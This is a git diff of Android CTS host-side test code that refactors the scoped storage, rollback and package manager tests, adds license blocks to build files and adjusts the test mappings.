+    private void assumeNavigationMode() {
+        Resources res = context().getResources();
+        int navModeResId = res.getIdentifier(NAV_BAR_INTERACTION_MODE_RES_NAME, "integer",
+            "android");
+        int navMode = res.getInteger(navModeResId);
+
+        assumeTrue("Non-gesture navigation mode required",
+            navMode != NAV_BAR_INTERACTION_MODE_GESTURAL);
     }
 
     @Before
@@ -275,6 +291,10 @@
     }
 
     private UiObject2 findActivityInDialog(String label) {
+        getUiDevice()
+            .wait(Until.findObject(RESOLVER_DIALOG), TIMEOUT)
+            .swipe(Direction.UP, 1f);
+
         return getUiDevice().findObject(By.text(label));
     }
 
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java
index 03d60bc..0bfc6c6 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java
@@ -72,7 +72,7 @@
 
         mContext.sendBroadcast(getRequestIntent(mimeGroup, mimeTypes, request));
 
-        Intent response = receiver.awaitForBroadcast(TimeUnit.SECONDS.toMillis(5L));
+        Intent response = receiver.awaitForBroadcast(TimeUnit.SECONDS.toMillis(60L));
 
         mContext.unregisterReceiver(receiver);
 
diff --git a/hostsidetests/packagemanager/extractnativelibs/Android.bp b/hostsidetests/packagemanager/extractnativelibs/Android.bp
index 634b40d..2aeebc5 100644
--- a/hostsidetests/packagemanager/extractnativelibs/Android.bp
+++ b/hostsidetests/packagemanager/extractnativelibs/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsExtractNativeLibsHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp b/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
index 5ae4dd3..f80aa9e 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libtest_extract_native_libs",
     gtest: false,
@@ -62,4 +66,3 @@
     compile_multilib: "both",
     v4_signature: true,
 }
-
diff --git a/hostsidetests/rollback/Android.bp b/hostsidetests/rollback/Android.bp
index 9871ab4..04e264d 100644
--- a/hostsidetests/rollback/Android.bp
+++ b/hostsidetests/rollback/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsRollbackManagerHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/rollback/TEST_MAPPING b/hostsidetests/rollback/TEST_MAPPING
index a353a74..acec493 100644
--- a/hostsidetests/rollback/TEST_MAPPING
+++ b/hostsidetests/rollback/TEST_MAPPING
@@ -1,5 +1,5 @@
 {
-  "presubmit": [
+  "presubmit-large": [
     {
       "name": "CtsRollbackManagerHostTestCases"
     }
diff --git a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
index 0a0ea0d..9ca1f63 100644
--- a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
+++ b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
@@ -19,9 +19,11 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.hamcrest.CoreMatchers.endsWith;
+import static org.hamcrest.CoreMatchers.equalTo;
 import static org.hamcrest.CoreMatchers.not;
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeThat;
 
 import android.cts.install.lib.host.InstallUtilsHost;
 
@@ -160,6 +162,7 @@
      */
     @Test
     public void testApexAndApkStagedRollback() throws Exception {
+        assumeSystemUser();
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
         run("testApexAndApkStagedRollback_Phase1");
@@ -171,6 +174,12 @@
         run("testApexAndApkStagedRollback_Phase4");
     }
 
+    private void assumeSystemUser() throws Exception {
+        String systemUser = "0";
+        assumeThat("Current user is not system user",
+                getDevice().executeShellCommand("am get-current-user").trim(), equalTo(systemUser));
+    }
+
     /**
      * Tests that apex update expires existing rollbacks for that apex.
      */
diff --git a/hostsidetests/sample/Android.bp b/hostsidetests/sample/Android.bp
index 781babd..f34bb09 100644
--- a/hostsidetests/sample/Android.bp
+++ b/hostsidetests/sample/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsSampleHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/sample/app/Android.bp b/hostsidetests/sample/app/Android.bp
index 2597717..536ce24 100644
--- a/hostsidetests/sample/app/Android.bp
+++ b/hostsidetests/sample/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSampleDeviceApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/sample/app2/Android.bp b/hostsidetests/sample/app2/Android.bp
index 1fc25ed..0aaff4c 100644
--- a/hostsidetests/sample/app2/Android.bp
+++ b/hostsidetests/sample/app2/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSampleDeviceApp2",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index 1a1a7f9..9c9043c 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsScopedStorageTestAppA",
     manifest: "ScopedStorageTestHelper/TestAppA.xml",
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 43208ac..bbdf653 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <!-- TODO(b/169101565): change to secondary_user when fixed -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/scopedstorage/OWNERS b/hostsidetests/scopedstorage/OWNERS
index 0b2799a..75846dd 100644
--- a/hostsidetests/scopedstorage/OWNERS
+++ b/hostsidetests/scopedstorage/OWNERS
@@ -1,6 +1,3 @@
-corinac@google.com
-jsharkey@android.com
-maco@google.com
-marcone@google.com
-nandana@google.com
-zezeozue@google.com
+# Bug component: 95221
+
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
\ No newline at end of file
diff --git a/hostsidetests/scopedstorage/TEST_MAPPING b/hostsidetests/scopedstorage/TEST_MAPPING
index 3f87702..01fec04 100644
--- a/hostsidetests/scopedstorage/TEST_MAPPING
+++ b/hostsidetests/scopedstorage/TEST_MAPPING
@@ -2,7 +2,9 @@
   "presubmit": [
     {
       "name": "CtsScopedStorageHostTest"
-    },
+    }
+  ],
+  "presubmit-large": [
     {
       "name": "CtsScopedStoragePublicVolumeHostTest"
     }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java
new file mode 100644
index 0000000..983cc66
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.NativeDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+abstract class BaseHostTestCase extends BaseHostJUnit4Test {
+    private int mCurrentUserId = NativeDevice.INVALID_USER_ID;
+
+    protected String executeShellCommand(String cmd, Object... args) throws Exception {
+        return getDevice().executeShellCommand(String.format(cmd, args));
+    }
+
+    protected int getCurrentUserId() throws Exception {
+        setCurrentUserId();
+
+        return mCurrentUserId;
+    }
+
+    private void setCurrentUserId() throws Exception {
+        if (mCurrentUserId != NativeDevice.INVALID_USER_ID) return;
+
+        ITestDevice device = getDevice();
+        mCurrentUserId = device.getCurrentUser();
+        CLog.i("Current user: %d");
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 8729f9b..594fd6a 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -18,12 +18,10 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
-import static org.junit.Assert.assertTrue;
-
 import android.platform.test.annotations.AppModeFull;
 
+import com.android.tradefed.device.contentprovider.ContentProviderHandler;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
 import org.junit.Before;
@@ -35,20 +33,19 @@
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 @AppModeFull
-public class LegacyStorageHostTest extends BaseHostJUnit4Test {
-    private boolean isExternalStorageSetup = false;
+public class LegacyStorageHostTest extends BaseHostTestCase {
 
-    private String executeShellCommand(String cmd) throws Exception {
-        return getDevice().executeShellCommand(cmd);
-    }
+    private boolean mIsExternalStorageSetup;
+
+    private ContentProviderHandler mContentProviderHandler;
 
     /**
      * Runs the given phase of LegacyFileAccessTest by calling into the device.
      * Throws an exception if the test phase fails.
      */
     void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts.legacy",
-                "android.scopedstorage.cts.legacy.LegacyStorageTest", phase));
+        assertThat(runDeviceTests("android.scopedstorage.cts.legacy",
+                "android.scopedstorage.cts.legacy.LegacyStorageTest", phase)).isTrue();
     }
 
     /**
@@ -56,14 +53,18 @@
      * so in order to test a case where the reader has only WRITE, we must explicitly revoke READ.
      */
     private void grantPermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm grant android.scopedstorage.cts.legacy " + perm);
+            executeShellCommand("pm grant --user %d android.scopedstorage.cts.legacy %s",
+                    currentUserId, perm);
         }
     }
 
     private void revokePermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm revoke android.scopedstorage.cts.legacy " + perm);
+            executeShellCommand("pm revoke --user %d android.scopedstorage.cts.legacy %s",
+                    currentUserId, perm);
         }
     }
 
@@ -72,19 +73,21 @@
      * creating file.
      */
     private void createFileAsShell(String filePath) throws Exception {
-        executeShellCommand("touch " + filePath);
+        executeShellCommand("touch %s", filePath);
         assertThat(getDevice().doesFileExist(filePath)).isTrue();
     }
 
     private void setupExternalStorage() throws Exception {
-        if (!isExternalStorageSetup) {
+        if (!mIsExternalStorageSetup) {
             runDeviceTest("setupExternalStorage");
-            isExternalStorageSetup = true;
+            mIsExternalStorageSetup = true;
         }
     }
 
     @Before
     public void setup() throws Exception {
+        mContentProviderHandler = new ContentProviderHandler(getDevice());
+        mContentProviderHandler.setUp();
         setupExternalStorage();
         // Granting WRITE automatically grants READ as well, so we grant them both explicitly by
         // default in order to avoid confusion. Test cases that don't want any of those permissions
@@ -95,6 +98,7 @@
 
     @After
     public void tearDown() throws Exception {
+        mContentProviderHandler.tearDown();
         revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE",
                 "android.permission.READ_EXTERNAL_STORAGE");
     }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
index dbfa9fb..256540a 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
@@ -16,7 +16,7 @@
 
 package android.scopedstorage.cts.host;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import com.android.tradefed.device.ITestDevice;
 
@@ -25,16 +25,14 @@
 
 public class PublicVolumeHostTest extends ScopedStorageHostTest {
     /** Used to clean up the virtual volume after the test */
-    private static ITestDevice sDevice = null;
-    private boolean mIsPublicVolumeSetup = false;
-    String executeShellCommand(String cmd) throws Exception {
-        return getDevice().executeShellCommand(cmd);
-    }
+    private static ITestDevice sDevice;
+    private boolean mIsPublicVolumeSetup;
 
     private void setupNewPublicVolume() throws Exception {
         if (!mIsPublicVolumeSetup) {
-            assertTrue(runDeviceTests("android.scopedstorage.cts",
-                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
+            assertThat(runDeviceTests("android.scopedstorage.cts",
+                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"))
+                            .isTrue();
             mIsPublicVolumeSetup = true;
         }
     }
@@ -51,8 +49,8 @@
      */
     @Override
     void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts",
-                "android.scopedstorage.cts.PublicVolumeTest", phase));
+        assertThat(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.PublicVolumeTest", phase)).isTrue();
     }
 
     @Before
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
index c9bd65f..4b38df1 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
@@ -16,7 +16,7 @@
 
 package android.scopedstorage.cts.host;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -33,8 +33,9 @@
 
     private void setupNewPublicVolume() throws Exception {
         if (!mIsPublicVolumeSetup) {
-            assertTrue(runDeviceTests("android.scopedstorage.cts",
-                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
+            assertThat(runDeviceTests("android.scopedstorage.cts",
+                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"))
+                            .isTrue();
             mIsPublicVolumeSetup = true;
         }
     }
@@ -51,8 +52,8 @@
      */
     @Override
     void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts.legacy",
-                "android.scopedstorage.cts.legacy.PublicVolumeLegacyTest", phase));
+        assertThat(runDeviceTests("android.scopedstorage.cts.legacy",
+                "android.scopedstorage.cts.legacy.PublicVolumeLegacyTest", phase)).isTrue();
     }
 
     @Before
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index b20342c..9e29480 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -16,13 +16,13 @@
 
 package android.scopedstorage.cts.host;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.contentprovider.ContentProviderHandler;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 
 import org.junit.After;
@@ -35,17 +35,18 @@
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 @AppModeFull
-public class ScopedStorageHostTest extends BaseHostJUnit4Test {
-    private boolean mIsExternalStorageSetup = false;
+public class ScopedStorageHostTest extends BaseHostTestCase {
+    private boolean mIsExternalStorageSetup;
+
+    private ContentProviderHandler mContentProviderHandler;
 
     /**
      * Runs the given phase of ScopedStorageTest by calling into the device.
      * Throws an exception if the test phase fails.
      */
     void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts",
-                "android.scopedstorage.cts.ScopedStorageTest", phase));
-
+        assertThat(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.ScopedStorageTest", phase)).isTrue();
     }
 
     /**
@@ -61,10 +62,6 @@
             .setDisableIsolatedStorage(true));
     }
 
-    String executeShellCommand(String cmd) throws Exception {
-        return getDevice().executeShellCommand(cmd);
-    }
-
     private void setupExternalStorage() throws Exception {
         if (!mIsExternalStorageSetup) {
             runDeviceTest("setupExternalStorage");
@@ -74,6 +71,11 @@
 
     @Before
     public void setup() throws Exception {
+        // Set up content provider. This would install android.tradefed.contentprovider
+        // which is used to create and delete files/Dir on device side test.
+        mContentProviderHandler = new ContentProviderHandler(getDevice());
+        mContentProviderHandler.setUp();
+
         setupExternalStorage();
         executeShellCommand("mkdir /sdcard/Android/data/com.android.shell -m 2770");
         executeShellCommand("mkdir /sdcard/Android/data/com.android.shell/files -m 2770");
@@ -87,6 +89,7 @@
 
     @After
     public void tearDown() throws Exception {
+        mContentProviderHandler.tearDown();
         executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
     }
 
@@ -512,14 +515,18 @@
     }
 
     private void grantPermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm grant android.scopedstorage.cts " + perm);
+            executeShellCommand("pm grant --user %d android.scopedstorage.cts %s",
+                    currentUserId, perm);
         }
     }
 
     private void revokePermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm revoke android.scopedstorage.cts " + perm);
+            executeShellCommand("pm revoke --user %d android.scopedstorage.cts %s",
+                    currentUserId, perm);
         }
     }
 
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
index c97b41f..50fd029 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
@@ -16,12 +16,11 @@
 
 package android.scopedstorage.cts.host;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import android.platform.test.annotations.AppModeInstant;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -30,14 +29,14 @@
  * Runs the ScopedStorageTest tests for an instant app.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class ScopedStorageInstantAppHostTest extends BaseHostJUnit4Test {
+public class ScopedStorageInstantAppHostTest extends BaseHostTestCase {
     /**
      * Runs the given phase of Test by calling into the device.
      * Throws an exception if the test phase fails.
      */
     protected void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts",
-                "android.scopedstorage.cts.ScopedStorageTest", phase));
+        assertThat(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.ScopedStorageTest", phase)).isTrue();
     }
 
     @Test
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 4596cab..071469a 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -109,6 +109,7 @@
      * test runs.
      */
     static final String NONCE = String.valueOf(System.nanoTime());
+    static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
 
     static final String IMAGE_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".jpg";
     static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
@@ -132,7 +133,7 @@
 
     @After
     public void teardown() throws Exception {
-        executeShellCommand("rm " + getShellFile());
+        deleteFileInExternalDir(getShellFile());
         MediaStore.scanFile(getContentResolver(), getShellFile());
     }
 
@@ -221,7 +222,7 @@
         final File existingFile = getShellFile();
 
         try {
-            executeShellCommand("touch " + existingFile);
+            createFileInExternalDir(existingFile);
             MediaStore.scanFile(getContentResolver(), existingFile);
             Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
             fail("Opening file for read expected to fail: " + existingFile);
@@ -274,7 +275,7 @@
         // can open file for read
         FileDescriptor fd = null;
         try {
-            executeShellCommand("touch " + existingFile);
+            createFileInExternalDir(existingFile);
             MediaStore.scanFile(getContentResolver(), existingFile);
             fd = Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
         } finally {
@@ -316,7 +317,7 @@
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
         final File shellFile = getShellFile();
 
-        executeShellCommand("touch " + getShellFile());
+        createFileInExternalDir(shellFile);
         MediaStore.scanFile(getContentResolver(), getShellFile());
         // can list a non-media file created by other package.
         assertThat(Arrays.asList(shellFile.getParentFile().list()))
@@ -384,7 +385,7 @@
                 new File(TestUtils.getExternalMediaDir(),
                         "LegacyFileAccessTest2");
         try {
-            executeShellCommand("touch " + shellFile1);
+            createFileInExternalDir(shellFile1);
             MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
@@ -419,7 +420,7 @@
                 new File(TestUtils.getExternalMediaDir(),
                         "LegacyFileAccessTest2");
         try {
-            executeShellCommand("touch " + shellFile1);
+            createFileInExternalDir(shellFile1);
             MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
@@ -821,4 +822,14 @@
         return new File(TestUtils.getExternalStorageDir(),
                 "LegacyAccessHostTest_shell");
     }
+
+    private void createFileInExternalDir(File file) throws Exception {
+        Log.d(TAG, "Creating file " + file + " in the external Directory");
+        getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
+    }
+
+    private void deleteFileInExternalDir(File file) throws Exception {
+        Log.d(TAG, "Deleting file " + file + " from the external Directory");
+        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+    }
 }
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
index be2ae44..b614ebb 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "cts-scopedstorage-lib",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 7aec1c7..2ff6280 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -46,6 +46,7 @@
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.OsConstants;
+import android.text.TextUtils;
 import android.util.Log;
 
 import androidx.annotation.NonNull;
@@ -69,6 +70,7 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
+import java.util.List;
 import java.util.Locale;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -170,7 +172,8 @@
     /**
      * Executes a shell command.
      */
-    public static String executeShellCommand(String command) throws IOException {
+    public static String executeShellCommand(String pattern, Object...args) throws IOException {
+        String command = String.format(pattern, args);
         int attempt = 0;
         while (attempt++ < 5) {
             try {
@@ -622,11 +625,20 @@
      * Asserts can rename file.
      */
     public static void assertCanRenameFile(File oldFile, File newFile) {
+        assertCanRenameFile(oldFile, newFile, /* checkDB */ true);
+    }
+
+    /**
+     * Asserts can rename file and optionally checks if the database is updated after rename.
+     */
+    public static void assertCanRenameFile(File oldFile, File newFile, boolean checkDatabase) {
         assertThat(oldFile.renameTo(newFile)).isTrue();
         assertThat(oldFile.exists()).isFalse();
         assertThat(newFile.exists()).isTrue();
-        assertThat(getFileRowIdFromDatabase(oldFile)).isEqualTo(-1);
-        assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+        if (checkDatabase) {
+            assertThat(getFileRowIdFromDatabase(oldFile)).isEqualTo(-1);
+            assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+        }
     }
 
     /**
@@ -1079,10 +1091,34 @@
         return c;
     }
 
+    private static boolean isObbDirUnmounted() {
+        List<String> mounts = new ArrayList<>();
+        try {
+            for (String line : executeShellCommand("cat /proc/mounts").split("\n")) {
+                String[] split = line.split(" ");
+                // Only check obb dirs with tmpfs, as if it's mounted for app data
+                // isolation, it will be tmpfs only.
+                if (split[0].equals("tmpfs") && split[1].startsWith("/storage/")
+                        && split[1].endsWith("/obb")) {
+                    return false;
+                }
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "Failed to execute shell command", e);
+        }
+        return true;
+    }
+
     /**
      * Creates a new virtual public volume and returns the volume's name.
      */
     public static void createNewPublicVolume() throws Exception {
+        // Unmount data and obb dirs for test app first so test app won't be killed during
+        // volume unmount.
+        executeShellCommand("sm unmount-app-data-dirs " + getContext().getPackageName() + " "
+                        + android.os.Process.myPid() + " " + android.os.UserHandle.myUserId());
+        pollForCondition(TestUtils::isObbDirUnmounted,
+                "Timed out while waiting for unmounting obb dir");
         executeShellCommand("sm set-force-adoptable on");
         executeShellCommand("sm set-virtual-disk true");
         Thread.sleep(2000);
@@ -1092,6 +1128,9 @@
     private static boolean partitionDisk() {
         try {
             final String listDisks = executeShellCommand("sm list-disks").trim();
+            if (TextUtils.isEmpty(listDisks)) {
+                return false;
+            }
             executeShellCommand("sm partition " + listDisks + " public");
             return true;
         } catch (Exception e) {
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 6541a7b..99fc1a3 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -164,7 +164,9 @@
 @RunWith(AndroidJUnit4.class)
 public class ScopedStorageTest {
     static final String TAG = "ScopedStorageTest";
+    static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
     static final String THIS_PACKAGE_NAME = getContext().getPackageName();
+    static final int USER_SYSTEM = 0;
 
     /**
      * To help avoid flaky tests, give ourselves a unique nonce to be used for
@@ -766,7 +768,7 @@
         final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
         try {
             // TEST_APP_A with storage permission should not see pdf file in DCIM
-            executeShellCommand("touch " + pdfFile.getAbsolutePath());
+            createFileUsingTradefedContentProvider(pdfFile);
             assertThat(pdfFile.exists()).isTrue();
